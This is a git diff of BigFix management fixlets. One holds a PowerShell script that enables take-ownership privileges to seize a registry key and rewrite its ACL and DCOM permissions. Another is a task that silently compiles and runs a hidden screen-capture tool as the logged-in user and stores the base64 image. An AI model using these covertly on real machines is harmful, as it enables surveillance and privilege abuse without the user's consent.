+ public class AdjPriv
+ {
+  [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
+  internal static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall,
+   ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen);
+
+  [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
+  internal static extern bool OpenProcessToken(IntPtr h, int acc, ref IntPtr phtok);
+  [DllImport("advapi32.dll", SetLastError = true)]
+  internal static extern bool LookupPrivilegeValue(string host, string name, ref long pluid);
+  [StructLayout(LayoutKind.Sequential, Pack = 1)]
+  internal struct TokPriv1Luid
+  {
+   public int Count;
+   public long Luid;
+   public int Attr;
+  }
+
+  internal const int SE_PRIVILEGE_ENABLED = 0x00000002;
+  internal const int SE_PRIVILEGE_DISABLED = 0x00000000;
+  internal const int TOKEN_QUERY = 0x00000008;
+  internal const int TOKEN_ADJUST_PRIVILEGES = 0x00000020;
+  public static bool EnablePrivilege(long processHandle, string privilege, bool disable)
+  {
+   bool retVal;
+   TokPriv1Luid tp;
+   IntPtr hproc = new IntPtr(processHandle);
+   IntPtr htok = IntPtr.Zero;
+   retVal = OpenProcessToken(hproc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, ref htok);
+   tp.Count = 1;
+   tp.Luid = 0;
+   if(disable)
+   {
+    tp.Attr = SE_PRIVILEGE_DISABLED;
+   }
+   else
+   {
+    tp.Attr = SE_PRIVILEGE_ENABLED;
+   }
+   retVal = LookupPrivilegeValue(null, privilege, ref tp.Luid);
+   retVal = AdjustTokenPrivileges(htok, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);
+   return retVal;
+  }
+ }
+'@
+
+ $processHandle = (Get-Process -id $ProcessId).Handle
+ $type = Add-Type $definition -PassThru
+ $type[0]::EnablePrivilege($processHandle, $Privilege, $Disable)
+}
+
+enable-privilege SeTakeOwnershipPrivilege
+enable-privilege seRestorePrivilege
+
+$key = [Microsoft.Win32.Registry]::{parameter "RootKey" of action}.OpenSubKey("{parameter "RegKey" of action}",[Microsoft.Win32.RegistryKeyPermissionCheck]::ReadWriteSubTree,[System.Security.AccessControl.RegistryRights]::takeownership)
+
+## *** Note from Jason Walker - I find the following to not be true if the system account has at least "Read Permissions" to the key.
+## Rather than starting from an empty ACL list, I instead try to start from the existing ACL list on the registry key and then modify it as needed
+# You must get a blank acl for the key b/c you do not currently have access
+#$acl = $key.GetAccessControl([System.Security.AccessControl.AccessControlSections]::None)
+
+$acl = $key.GetAccessControl()
+$me = [System.Security.Principal.NTAccount]"{parameter "NewOwner" of action}"
+$acl.SetOwner($me)
+$key.SetAccessControl($acl)
+
+# After you have set owner you need to get the acl with the perms so you can modify it.
+$acl = $key.GetAccessControl()
+$rule = New-Object System.Security.AccessControl.RegistryAccessRule ({parameter "AddACL" of action})
+$acl.AddAccessRule($rule)
+$key.SetAccessControl($acl)
+
+$key.Close()
+
+EOF_EOF_EOF
+
+
+delete TakeOwnerReg.ps1
+move __createfile TakeOwnerReg.ps1
+
+waithidden powershell.exe -ExecutionPolicy Bypass -File TakeOwnerReg.ps1
+
+continue if {exit code of action = 0}
+
+waithidden reg.exe add "{parameter "FullKeyPath" of action}" /v AccessPermission /t REG_BINARY /d {parameter "AccessPermission" of action}  /f
+waithidden reg.exe add "{parameter "FullKeyPath" of action}" /v LaunchPermission /t REG_BINARY /d {parameter "LaunchPermission" of action} /f
+
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Take Screenshot - Windows (21898).bes b/Sites/Windows Management/Fixlets/Fixlets/Take Screenshot - Windows (21898).bes
index 1de08261e..514d1848c 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Take Screenshot - Windows (21898).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Take Screenshot - Windows (21898).bes	
@@ -1,368 +1,368 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Take Screenshot - Windows
-  ID       : 21898
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2016-10-04T11:04:34
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Take Screenshot - Windows</Title>
-    <Description><![CDATA[<P>This is useful for automated testing. Install something with BigFix on a test VM, open it with BigFix as a logged in test user, take a screenshot, then close application.</P>
-<P>This requires there to be exactly 1 user logged into the system. It might be possible to do this as the SYSTEM user if executed interactively using something like PSExec or PAExec, but it definitely does not work as the SYSTEM user as executed by BigFix normally.</P>
-<P>DO NOT USE without the consent of the currently logged on user.</P>
-<P>&nbsp;</P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>1 = number of unique values of home directories of users of (current users;logged on users)</Relevance>
-    <Relevance>not exists files &quot;ScreenShot.png.base64&quot; of folders &quot;Logs&quot; of folders &quot;__Global&quot; of data folders of client</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-09-30</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 04 Oct 2016 18:03:27 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
-parameter "CurrentUserTempFolder" = "{ pathnames of folders "AppData\Local\Temp" of (folders it) of unique value of home directories of users of (current users;logged on users) }"
-
-// prefetch optipng-win32.zip sha1:5cfaa48f01e354645b4cf415a0eaedcc76f542ea size:142313 http://heanet.dl.sourceforge.net/project/optipng/OptiPNG/optipng-0.7.6/optipng-0.7.6-win32.zip sha256:0012ec30ee5292e1fd19e0f8c45de4cc291fb5872c5bc83355c17e0b6ce662f7
-
-delete __createfile
-// https://github.com/npocmaka/batch.scripts/blob/master/hybrids/.net/c/screenCapture.bat
-//  MIT License code by https://github.com/npocmaka
-//  Requires .NET
-createfile until _END_OF_FILE_
-// 2>nul||@goto :batch
-/*
-:batch
-@echo off
-setlocal
-
-:: find csc.exe
-set "csc="
-for /r "%SystemRoot%\Microsoft.NET\Framework\" %%# in ("*csc.exe") do  set "csc=%%#"
-
-if not exist "%csc%" (
-   echo no .net framework installed
-   exit /b 10
-)
-
-if not exist "%~n0.exe" (
-   call %csc% /nologo /r:"Microsoft.VisualBasic.dll" /out:"%~n0.exe" "%~dpsfnx0" || (
-      exit /b %errorlevel%
-   )
-)
-%~n0.exe %*
-endlocal & exit /b %errorlevel%
-
-*/
-
-// reference
-// https://gallery.technet.microsoft.com/scriptcenter/eeff544a-f690-4f6b-a586-11eea6fc5eb8
-
-using System;
-using System.Runtime.InteropServices;
-using System.Drawing;
-using System.Drawing.Imaging;
-using System.Collections.Generic;
-using Microsoft.VisualBasic;
-
-
-/// Provides functions to capture the entire screen, or a particular window, and save it to a file.
-
-public class ScreenCapture
-{{
-
-    /// Creates an Image object containing a screen shot the active window
-
-    public Image CaptureActiveWindow()
-    {{
-        return CaptureWindow(User32.GetForegroundWindow());
-    }
-
-    /// Creates an Image object containing a screen shot of the entire desktop
-
-    public Image CaptureScreen()
-    {{
-        return CaptureWindow(User32.GetDesktopWindow());
-    }
-
-    /// Creates an Image object containing a screen shot of a specific window
-
-    private Image CaptureWindow(IntPtr handle)
-    {{
-        // get te hDC of the target window
-        IntPtr hdcSrc = User32.GetWindowDC(handle);
-        // get the size
-        User32.RECT windowRect = new User32.RECT();
-        User32.GetWindowRect(handle, ref windowRect);
-        int width = windowRect.right - windowRect.left;
-        int height = windowRect.bottom - windowRect.top;
-        // create a device context we can copy to
-        IntPtr hdcDest = GDI32.CreateCompatibleDC(hdcSrc);
-        // create a bitmap we can copy it to,
-        // using GetDeviceCaps to get the width/height
-        IntPtr hBitmap = GDI32.CreateCompatibleBitmap(hdcSrc, width, height);
-        // select the bitmap object
-        IntPtr hOld = GDI32.SelectObject(hdcDest, hBitmap);
-        // bitblt over
-        GDI32.BitBlt(hdcDest, 0, 0, width, height, hdcSrc, 0, 0, GDI32.SRCCOPY);
-        // restore selection
-        GDI32.SelectObject(hdcDest, hOld);
-        // clean up
-        GDI32.DeleteDC(hdcDest);
-        User32.ReleaseDC(handle, hdcSrc);
-        // get a .NET image object for it
-        Image img = Image.FromHbitmap(hBitmap);
-        // free up the Bitmap object
-        GDI32.DeleteObject(hBitmap);
-        return img;
-    }
-
-    public void CaptureActiveWindowToFile(string filename, ImageFormat format)
-    {{
-        Image img = CaptureActiveWindow();
-        img.Save(filename, format);
-    }
-
-    public void CaptureScreenToFile(string filename, ImageFormat format)
-    {{
-        Image img = CaptureScreen();
-        img.Save(filename, format);
-    }
-
-    static bool fullscreen = true;
-    static String file = "screenshot.bmp";
-    static System.Drawing.Imaging.ImageFormat format = System.Drawing.Imaging.ImageFormat.Bmp;
-    static String windowTitle = "";
-
-    static void parseArguments()
-    {{
-        String[] arguments = Environment.GetCommandLineArgs();
-        if (arguments.Length == 1)
-        {{
-            printHelp();
-            Environment.Exit(0);
-        }
-        if (arguments[1].ToLower().Equals("/h") || arguments[1].ToLower().Equals("/help"))
-        {{
-            printHelp();
-            Environment.Exit(0);
-        }
-
-        file = arguments[1];
-        Dictionary<String, System.Drawing.Imaging.ImageFormat> formats =
-        new Dictionary<String, System.Drawing.Imaging.ImageFormat>();
-
-        formats.Add("bmp", System.Drawing.Imaging.ImageFormat.Bmp);
-        formats.Add("emf", System.Drawing.Imaging.ImageFormat.Emf);
-        formats.Add("exif", System.Drawing.Imaging.ImageFormat.Exif);
-        formats.Add("jpg", System.Drawing.Imaging.ImageFormat.Jpeg);
-        formats.Add("jpeg", System.Drawing.Imaging.ImageFormat.Jpeg);
-        formats.Add("gif", System.Drawing.Imaging.ImageFormat.Gif);
-        formats.Add("png", System.Drawing.Imaging.ImageFormat.Png);
-        formats.Add("tiff", System.Drawing.Imaging.ImageFormat.Tiff);
-        formats.Add("wmf", System.Drawing.Imaging.ImageFormat.Wmf);
-
-
-        String ext = "";
-        if (file.LastIndexOf('.') > -1)
-        {{
-            ext = file.ToLower().Substring(file.LastIndexOf('.') + 1, file.Length - file.LastIndexOf('.') - 1);
-        }
-        else
-        {{
-            Console.WriteLine("Invalid file name - no extension");
-            Environment.Exit(7);
-        }
-
-        try
-        {{
-            format = formats[ext];
-        }
-        catch (Exception e)
-        {{
-            Console.WriteLine("Probably wrong file format:" + ext);
-            Console.WriteLine(e.ToString());
-            Environment.Exit(8);
-        }
-
-
-        if (arguments.Length > 2)
-        {{
-            windowTitle = arguments[2];
-            fullscreen = false;
-        }
-
-    }
-
-    static void printHelp()
-    {{
-        //clears the extension from the script name
-        String scriptName = Environment.GetCommandLineArgs()[0];
-        scriptName = scriptName.Substring(0, scriptName.Length);
-        Console.WriteLine(scriptName + " captures the screen or the active window and saves it to a file.");
-        Console.WriteLine("");
-        Console.WriteLine("Usage:");
-        Console.WriteLine(" " + scriptName + " filename  [WindowTitle]");
-        Console.WriteLine("");
-        Console.WriteLine("finename - the file where the screen capture will be saved");
-        Console.WriteLine("     allowed file extensions are - Bmp,Emf,Exif,Gif,Icon,Jpeg,Png,Tiff,Wmf.");
-        Console.WriteLine("WindowTitle - instead of capture whole screen you can point to a window ");
-        Console.WriteLine("     with a title which will put on focus and captuted.");
-        Console.WriteLine("     For WindowTitle you can pass only the first few characters.");
-        Console.WriteLine("     If don't want to change the current active window pass only \"\"");
-    }
-
-    public static void Main()
-    {{
-        parseArguments();
-        ScreenCapture sc = new ScreenCapture();
-        if (!fullscreen && !windowTitle.Equals(""))
-        {{
-            try
-            {{
-
-                Interaction.AppActivate(windowTitle);
-                Console.WriteLine("setting " + windowTitle + " on focus");
-            }
-            catch (Exception e)
-            {{
-                Console.WriteLine("Probably there's no window like " + windowTitle);
-                Console.WriteLine(e.ToString());
-                Environment.Exit(9);
-            }
-
-
-        }
-        try
-        {{
-            if (fullscreen)
-            {{
-                Console.WriteLine("Taking a capture of the whole screen to " + file);
-                sc.CaptureScreenToFile(file, format);
-            }
-            else
-            {{
-                Console.WriteLine("Taking a capture of the active window to " + file);
-                sc.CaptureActiveWindowToFile(file, format);
-            }
-        }
-        catch (Exception e)
-        {{
-            Console.WriteLine("Check if file path is valid " + file);
-            Console.WriteLine(e.ToString());
-        }
-    }
-
-    /// Helper class containing Gdi32 API functions
-
-    private class GDI32
-    {{
-
-        public const int SRCCOPY = 0x00CC0020; // BitBlt dwRop parameter
-        [DllImport("gdi32.dll")]
-        public static extern bool BitBlt(IntPtr hObject, int nXDest, int nYDest,
-          int nWidth, int nHeight, IntPtr hObjectSource,
-          int nXSrc, int nYSrc, int dwRop);
-        [DllImport("gdi32.dll")]
-        public static extern IntPtr CreateCompatibleBitmap(IntPtr hDC, int nWidth,
-          int nHeight);
-        [DllImport("gdi32.dll")]
-        public static extern IntPtr CreateCompatibleDC(IntPtr hDC);
-        [DllImport("gdi32.dll")]
-        public static extern bool DeleteDC(IntPtr hDC);
-        [DllImport("gdi32.dll")]
-        public static extern bool DeleteObject(IntPtr hObject);
-        [DllImport("gdi32.dll")]
-        public static extern IntPtr SelectObject(IntPtr hDC, IntPtr hObject);
-    }
-
-
-    /// Helper class containing User32 API functions
-
-    private class User32
-    {{
-        [StructLayout(LayoutKind.Sequential)]
-        public struct RECT
-        {{
-            public int left;
-            public int top;
-            public int right;
-            public int bottom;
-        }
-        [DllImport("user32.dll")]
-        public static extern IntPtr GetDesktopWindow();
-        [DllImport("user32.dll")]
-        public static extern IntPtr GetWindowDC(IntPtr hWnd);
-        [DllImport("user32.dll")]
-        public static extern IntPtr ReleaseDC(IntPtr hWnd, IntPtr hDC);
-        [DllImport("user32.dll")]
-        public static extern IntPtr GetWindowRect(IntPtr hWnd, ref RECT rect);
-        [DllImport("user32.dll")]
-        public static extern IntPtr GetForegroundWindow();
-    }
-}
-_END_OF_FILE_
-// --------------------------------------------------------------------------------------------
-
-delete __Download\screenCapture.bat
-move __createfile __Download\screenCapture.bat
-delete __Download\screenCapture.exe
-action uses wow64 redirection {not x64 of operating system}
-// reference:  https://forum.bigfix.com/t/trying-to-run-a-linux-sh-script-in-a-bigfix-action/17748/6  (using cd &&)
-waithidden cmd /c cd __Download && screenCapture.bat
-delete {parameter "CurrentUserTempFolder"}\screenCapture.exe
-copy __Download\screenCapture.exe {parameter "CurrentUserTempFolder"}\screenCapture.exe
-
-// take screenshot of currently active window
-//override wait
-//hidden=true
-//runas=currentuser
-//wait {parameter "CurrentUserTempFolder"}\screenCapture.exe {parameter "CurrentUserTempFolder"}\ScreenShotActiveWindow.png ""
-//delete __Download\ScreenShotActiveWindow.png
-//move {parameter "CurrentUserTempFolder"}\ScreenShotActiveWindow.png __Download\ScreenShotActiveWindow.png
-
-// take screenshot of fullscreen
-override wait
-hidden=true
-runas=currentuser
-wait {parameter "CurrentUserTempFolder"}\screenCapture.exe {parameter "CurrentUserTempFolder"}\ScreenShot.png
-delete __Download\ScreenShot.png
-move {parameter "CurrentUserTempFolder"}\ScreenShot.png __Download\ScreenShot.png
-
-// Clean up
-delete {parameter "CurrentUserTempFolder"}\screenCapture.exe
-
-delete __Download\ScreenShot.png.base64
-waithidden powershell -ExecutionPolicy Bypass -command "[convert]::ToBase64String((get-content '{ pathname of download file "ScreenShot.png" }' -encoding byte)) | set-content( '__Download\ScreenShot.png.base64' )"
-delete "{pathname of folders "Logs" of folders "__Global" of data folders of client}\ScreenShot.png.base64"
-copy __Download\ScreenShot.png.base64 "{pathname of folders "Logs" of folders "__Global" of data folders of client}\ScreenShot.png.base64"
-notify client ForceRefresh
-
-// http://optipng.sourceforge.net/  PNG optimizer
-// prefetch optipng-0.7.6-win32.zip sha1:5cfaa48f01e354645b4cf415a0eaedcc76f542ea size:142313 http://heanet.dl.sourceforge.net/project/optipng/OptiPNG/optipng-0.7.6/optipng-0.7.6-win32.zip sha256:0012ec30ee5292e1fd19e0f8c45de4cc291fb5872c5bc83355c17e0b6ce662f7
-
-// References:
-//  - http://superuser.com/questions/75614/take-a-screen-shot-from-command-line-in-windows/309290#309290
-//  - https://github.com/npocmaka/batch.scripts/blob/master/hybrids/.net/c/screenCapture.bat
-//  - https://blog.mozilla.org/ted/2009/02/05/command-line-screenshot-tool-for-windows/
-//  - https://code.google.com/archive/p/screenshot-cmd/
-//  - http://www.nirsoft.net/utils/nircmd.html
-//  - https://davidwalsh.name/convert-image-data-uri-javascript
-//  - http://powershellscripts.blogspot.com/2007/02/base64-encode-file.html
-
-]]></ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Take Screenshot - Windows
+  ID       : 21898
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2016-10-04T11:04:34
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Take Screenshot - Windows</Title>
+    <Description><![CDATA[<P>This is useful for automated testing. Install something with BigFix on a test VM, open it with BigFix as a logged in test user, take a screenshot, then close application.</P>
+<P>This requires there to be exactly 1 user logged into the system. It might be possible to do this as the SYSTEM user if executed interactively using something like PSExec or PAExec, but it definitely does not work as the SYSTEM user as executed by BigFix normally.</P>
+<P>DO NOT USE without the consent of the currently logged on user.</P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>1 = number of unique values of home directories of users of (current users;logged on users)</Relevance>
+    <Relevance>not exists files &quot;ScreenShot.png.base64&quot; of folders &quot;Logs&quot; of folders &quot;__Global&quot; of data folders of client</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-09-30</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 04 Oct 2016 18:03:27 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+parameter "CurrentUserTempFolder" = "{ pathnames of folders "AppData\Local\Temp" of (folders it) of unique value of home directories of users of (current users;logged on users) }"
+
+// prefetch optipng-win32.zip sha1:5cfaa48f01e354645b4cf415a0eaedcc76f542ea size:142313 http://heanet.dl.sourceforge.net/project/optipng/OptiPNG/optipng-0.7.6/optipng-0.7.6-win32.zip sha256:0012ec30ee5292e1fd19e0f8c45de4cc291fb5872c5bc83355c17e0b6ce662f7
+
+delete __createfile
+// https://github.com/npocmaka/batch.scripts/blob/master/hybrids/.net/c/screenCapture.bat
+//  MIT License code by https://github.com/npocmaka
+//  Requires .NET
+createfile until _END_OF_FILE_
+// 2>nul||@goto :batch
+/*
+:batch
+@echo off
+setlocal
+
+:: find csc.exe
+set "csc="
+for /r "%SystemRoot%\Microsoft.NET\Framework\" %%# in ("*csc.exe") do  set "csc=%%#"
+
+if not exist "%csc%" (
+   echo no .net framework installed
+   exit /b 10
+)
+
+if not exist "%~n0.exe" (
+   call %csc% /nologo /r:"Microsoft.VisualBasic.dll" /out:"%~n0.exe" "%~dpsfnx0" || (
+      exit /b %errorlevel%
+   )
+)
+%~n0.exe %*
+endlocal & exit /b %errorlevel%
+
+*/
+
+// reference
+// https://gallery.technet.microsoft.com/scriptcenter/eeff544a-f690-4f6b-a586-11eea6fc5eb8
+
+using System;
+using System.Runtime.InteropServices;
+using System.Drawing;
+using System.Drawing.Imaging;
+using System.Collections.Generic;
+using Microsoft.VisualBasic;
+
+
+/// Provides functions to capture the entire screen, or a particular window, and save it to a file.
+
+public class ScreenCapture
+{{
+
+    /// Creates an Image object containing a screen shot the active window
+
+    public Image CaptureActiveWindow()
+    {{
+        return CaptureWindow(User32.GetForegroundWindow());
+    }
+
+    /// Creates an Image object containing a screen shot of the entire desktop
+
+    public Image CaptureScreen()
+    {{
+        return CaptureWindow(User32.GetDesktopWindow());
+    }
+
+    /// Creates an Image object containing a screen shot of a specific window
+
+    private Image CaptureWindow(IntPtr handle)
+    {{
+        // get te hDC of the target window
+        IntPtr hdcSrc = User32.GetWindowDC(handle);
+        // get the size
+        User32.RECT windowRect = new User32.RECT();
+        User32.GetWindowRect(handle, ref windowRect);
+        int width = windowRect.right - windowRect.left;
+        int height = windowRect.bottom - windowRect.top;
+        // create a device context we can copy to
+        IntPtr hdcDest = GDI32.CreateCompatibleDC(hdcSrc);
+        // create a bitmap we can copy it to,
+        // using GetDeviceCaps to get the width/height
+        IntPtr hBitmap = GDI32.CreateCompatibleBitmap(hdcSrc, width, height);
+        // select the bitmap object
+        IntPtr hOld = GDI32.SelectObject(hdcDest, hBitmap);
+        // bitblt over
+        GDI32.BitBlt(hdcDest, 0, 0, width, height, hdcSrc, 0, 0, GDI32.SRCCOPY);
+        // restore selection
+        GDI32.SelectObject(hdcDest, hOld);
+        // clean up
+        GDI32.DeleteDC(hdcDest);
+        User32.ReleaseDC(handle, hdcSrc);
+        // get a .NET image object for it
+        Image img = Image.FromHbitmap(hBitmap);
+        // free up the Bitmap object
+        GDI32.DeleteObject(hBitmap);
+        return img;
+    }
+
+    public void CaptureActiveWindowToFile(string filename, ImageFormat format)
+    {{
+        Image img = CaptureActiveWindow();
+        img.Save(filename, format);
+    }
+
+    public void CaptureScreenToFile(string filename, ImageFormat format)
+    {{
+        Image img = CaptureScreen();
+        img.Save(filename, format);
+    }
+
+    static bool fullscreen = true;
+    static String file = "screenshot.bmp";
+    static System.Drawing.Imaging.ImageFormat format = System.Drawing.Imaging.ImageFormat.Bmp;
+    static String windowTitle = "";
+
+    static void parseArguments()
+    {{
+        String[] arguments = Environment.GetCommandLineArgs();
+        if (arguments.Length == 1)
+        {{
+            printHelp();
+            Environment.Exit(0);
+        }
+        if (arguments[1].ToLower().Equals("/h") || arguments[1].ToLower().Equals("/help"))
+        {{
+            printHelp();
+            Environment.Exit(0);
+        }
+
+        file = arguments[1];
+        Dictionary<String, System.Drawing.Imaging.ImageFormat> formats =
+        new Dictionary<String, System.Drawing.Imaging.ImageFormat>();
+
+        formats.Add("bmp", System.Drawing.Imaging.ImageFormat.Bmp);
+        formats.Add("emf", System.Drawing.Imaging.ImageFormat.Emf);
+        formats.Add("exif", System.Drawing.Imaging.ImageFormat.Exif);
+        formats.Add("jpg", System.Drawing.Imaging.ImageFormat.Jpeg);
+        formats.Add("jpeg", System.Drawing.Imaging.ImageFormat.Jpeg);
+        formats.Add("gif", System.Drawing.Imaging.ImageFormat.Gif);
+        formats.Add("png", System.Drawing.Imaging.ImageFormat.Png);
+        formats.Add("tiff", System.Drawing.Imaging.ImageFormat.Tiff);
+        formats.Add("wmf", System.Drawing.Imaging.ImageFormat.Wmf);
+
+
+        String ext = "";
+        if (file.LastIndexOf('.') > -1)
+        {{
+            ext = file.ToLower().Substring(file.LastIndexOf('.') + 1, file.Length - file.LastIndexOf('.') - 1);
+        }
+        else
+        {{
+            Console.WriteLine("Invalid file name - no extension");
+            Environment.Exit(7);
+        }
+
+        try
+        {{
+            format = formats[ext];
+        }
+        catch (Exception e)
+        {{
+            Console.WriteLine("Probably wrong file format:" + ext);
+            Console.WriteLine(e.ToString());
+            Environment.Exit(8);
+        }
+
+
+        if (arguments.Length > 2)
+        {{
+            windowTitle = arguments[2];
+            fullscreen = false;
+        }
+
+    }
+
+    static void printHelp()
+    {{
+        //clears the extension from the script name
+        String scriptName = Environment.GetCommandLineArgs()[0];
+        scriptName = scriptName.Substring(0, scriptName.Length);
+        Console.WriteLine(scriptName + " captures the screen or the active window and saves it to a file.");
+        Console.WriteLine("");
+        Console.WriteLine("Usage:");
+        Console.WriteLine(" " + scriptName + " filename  [WindowTitle]");
+        Console.WriteLine("");
+        Console.WriteLine("finename - the file where the screen capture will be saved");
+        Console.WriteLine("     allowed file extensions are - Bmp,Emf,Exif,Gif,Icon,Jpeg,Png,Tiff,Wmf.");
+        Console.WriteLine("WindowTitle - instead of capture whole screen you can point to a window ");
+        Console.WriteLine("     with a title which will put on focus and captuted.");
+        Console.WriteLine("     For WindowTitle you can pass only the first few characters.");
+        Console.WriteLine("     If don't want to change the current active window pass only \"\"");
+    }
+
+    public static void Main()
+    {{
+        parseArguments();
+        ScreenCapture sc = new ScreenCapture();
+        if (!fullscreen && !windowTitle.Equals(""))
+        {{
+            try
+            {{
+
+                Interaction.AppActivate(windowTitle);
+                Console.WriteLine("setting " + windowTitle + " on focus");
+            }
+            catch (Exception e)
+            {{
+                Console.WriteLine("Probably there's no window like " + windowTitle);
+                Console.WriteLine(e.ToString());
+                Environment.Exit(9);
+            }
+
+
+        }
+        try
+        {{
+            if (fullscreen)
+            {{
+                Console.WriteLine("Taking a capture of the whole screen to " + file);
+                sc.CaptureScreenToFile(file, format);
+            }
+            else
+            {{
+                Console.WriteLine("Taking a capture of the active window to " + file);
+                sc.CaptureActiveWindowToFile(file, format);
+            }
+        }
+        catch (Exception e)
+        {{
+            Console.WriteLine("Check if file path is valid " + file);
+            Console.WriteLine(e.ToString());
+        }
+    }
+
+    /// Helper class containing Gdi32 API functions
+
+    private class GDI32
+    {{
+
+        public const int SRCCOPY = 0x00CC0020; // BitBlt dwRop parameter
+        [DllImport("gdi32.dll")]
+        public static extern bool BitBlt(IntPtr hObject, int nXDest, int nYDest,
+          int nWidth, int nHeight, IntPtr hObjectSource,
+          int nXSrc, int nYSrc, int dwRop);
+        [DllImport("gdi32.dll")]
+        public static extern IntPtr CreateCompatibleBitmap(IntPtr hDC, int nWidth,
+          int nHeight);
+        [DllImport("gdi32.dll")]
+        public static extern IntPtr CreateCompatibleDC(IntPtr hDC);
+        [DllImport("gdi32.dll")]
+        public static extern bool DeleteDC(IntPtr hDC);
+        [DllImport("gdi32.dll")]
+        public static extern bool DeleteObject(IntPtr hObject);
+        [DllImport("gdi32.dll")]
+        public static extern IntPtr SelectObject(IntPtr hDC, IntPtr hObject);
+    }
+
+
+    /// Helper class containing User32 API functions
+
+    private class User32
+    {{
+        [StructLayout(LayoutKind.Sequential)]
+        public struct RECT
+        {{
+            public int left;
+            public int top;
+            public int right;
+            public int bottom;
+        }
+        [DllImport("user32.dll")]
+        public static extern IntPtr GetDesktopWindow();
+        [DllImport("user32.dll")]
+        public static extern IntPtr GetWindowDC(IntPtr hWnd);
+        [DllImport("user32.dll")]
+        public static extern IntPtr ReleaseDC(IntPtr hWnd, IntPtr hDC);
+        [DllImport("user32.dll")]
+        public static extern IntPtr GetWindowRect(IntPtr hWnd, ref RECT rect);
+        [DllImport("user32.dll")]
+        public static extern IntPtr GetForegroundWindow();
+    }
+}
+_END_OF_FILE_
+// --------------------------------------------------------------------------------------------
+
+delete __Download\screenCapture.bat
+move __createfile __Download\screenCapture.bat
+delete __Download\screenCapture.exe
+action uses wow64 redirection {not x64 of operating system}
+// reference:  https://forum.bigfix.com/t/trying-to-run-a-linux-sh-script-in-a-bigfix-action/17748/6  (using cd &&)
+waithidden cmd /c cd __Download && screenCapture.bat
+delete {parameter "CurrentUserTempFolder"}\screenCapture.exe
+copy __Download\screenCapture.exe {parameter "CurrentUserTempFolder"}\screenCapture.exe
+
+// take screenshot of currently active window
+//override wait
+//hidden=true
+//runas=currentuser
+//wait {parameter "CurrentUserTempFolder"}\screenCapture.exe {parameter "CurrentUserTempFolder"}\ScreenShotActiveWindow.png ""
+//delete __Download\ScreenShotActiveWindow.png
+//move {parameter "CurrentUserTempFolder"}\ScreenShotActiveWindow.png __Download\ScreenShotActiveWindow.png
+
+// take screenshot of fullscreen
+override wait
+hidden=true
+runas=currentuser
+wait {parameter "CurrentUserTempFolder"}\screenCapture.exe {parameter "CurrentUserTempFolder"}\ScreenShot.png
+delete __Download\ScreenShot.png
+move {parameter "CurrentUserTempFolder"}\ScreenShot.png __Download\ScreenShot.png
+
+// Clean up
+delete {parameter "CurrentUserTempFolder"}\screenCapture.exe
+
+delete __Download\ScreenShot.png.base64
+waithidden powershell -ExecutionPolicy Bypass -command "[convert]::ToBase64String((get-content '{ pathname of download file "ScreenShot.png" }' -encoding byte)) | set-content( '__Download\ScreenShot.png.base64' )"
+delete "{pathname of folders "Logs" of folders "__Global" of data folders of client}\ScreenShot.png.base64"
+copy __Download\ScreenShot.png.base64 "{pathname of folders "Logs" of folders "__Global" of data folders of client}\ScreenShot.png.base64"
+notify client ForceRefresh
+
+// http://optipng.sourceforge.net/  PNG optimizer
+// prefetch optipng-0.7.6-win32.zip sha1:5cfaa48f01e354645b4cf415a0eaedcc76f542ea size:142313 http://heanet.dl.sourceforge.net/project/optipng/OptiPNG/optipng-0.7.6/optipng-0.7.6-win32.zip sha256:0012ec30ee5292e1fd19e0f8c45de4cc291fb5872c5bc83355c17e0b6ce662f7
+
+// References:
+//  - http://superuser.com/questions/75614/take-a-screen-shot-from-command-line-in-windows/309290#309290
+//  - https://github.com/npocmaka/batch.scripts/blob/master/hybrids/.net/c/screenCapture.bat
+//  - https://blog.mozilla.org/ted/2009/02/05/command-line-screenshot-tool-for-windows/
+//  - https://code.google.com/archive/p/screenshot-cmd/
+//  - http://www.nirsoft.net/utils/nircmd.html
+//  - https://davidwalsh.name/convert-image-data-uri-javascript
+//  - http://powershellscripts.blogspot.com/2007/02/base64-encode-file.html
+
+]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
